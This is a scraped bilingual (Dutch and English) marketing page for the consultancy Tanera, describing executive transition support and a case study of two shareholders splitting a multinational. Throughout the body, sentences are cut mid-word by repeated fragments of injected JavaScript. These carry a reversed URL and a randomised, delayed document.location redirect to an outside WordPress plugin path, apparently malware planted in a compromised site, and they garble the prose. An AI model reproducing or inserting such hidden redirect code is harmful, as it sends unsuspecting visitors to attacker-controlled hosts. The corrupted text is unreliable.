Tanera | Tanera

Transitie ondersteuning op directie niveau – Tanera

Organisaties zijn leefsystemen en gedragen zich ook zo. Elke deelnemer heeft invloed op het welzijn en succes van het toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}totaal en het toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}totaal heeft invloed op het welzijn en succes van elke deelnemer. Zo werkt alles samen en ontstaat er ‘Flow’.

Wij houden de ‘rode draad’ in de gaten en verbinden strategie met de dagelijkse werkzaamheden. Rust en overzicht in het proces zijn daarbij belangrijke aandachtspunten, omdat ze meerwaarde leveren voor alle betrokkenen.

Aandeelhouders van een multinationale handelsorganisatie hadden verschillende beelden over de groeimogelijkheden en besloten elk hun eigen weg te gaan. Een van de aandachtspunten was om alle stakeholders (klanten, medewerkers, leveranciers, logistieke partners, bank, accountant) tijdens dit proces aangesloten en gemotiveerd te houden.

Tanera begeleidde beide partijen bij de succesvolle splitsing. Gedurende dit meerjarige traject zijn tegelijkertijd werkwijzen en systemen verder geprofessionaliseerd en werd een groei van tientallen procenten per jaar voortgezet. Eén van de aandeelhouders: “Bedankt voor je geduld en kennis tijdens de splitsing. Heel erg bedankt!”

C-level transition management support – Tanera

Organisations behave as ecosystems. Every participant affects the welfare and successes of the whole, and the whole affects every participant’s well-being and successes. This way – everything is cooperative and resulting in ‘Flow’.

We keep track of the main themes and connect strategy with daily practice. In the process, tranquility and a clear overview are important issues, because they generate value for all stakeholders.

Two shareholders of a multinational each had their own vision about the company’s growth possibilities and decided toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to part ways and split up the enterprise. One of the focus points during this process was toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to keep all the stakeholders (custoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomers, personnel, suppliers, logistic partners, bank, accountant) motivated and connected toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the process.

Tanera guided both parties during the successful company split-up. At the same time methods and systems were further professionalized and a growth percentage of several dozen was continued during the process. One of the shareholders: “I want toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to thank you for your patience and expertise during the split-up. Thank you so much!”

[:nl _i=”0″ _address=”0″ theme_builder_area=”post_content” /][:en _i=”2″ _address=”2″ theme_builder_area=”post_content” /][: _i=”4″ _address=”4″ theme_builder_area=”post_content” /]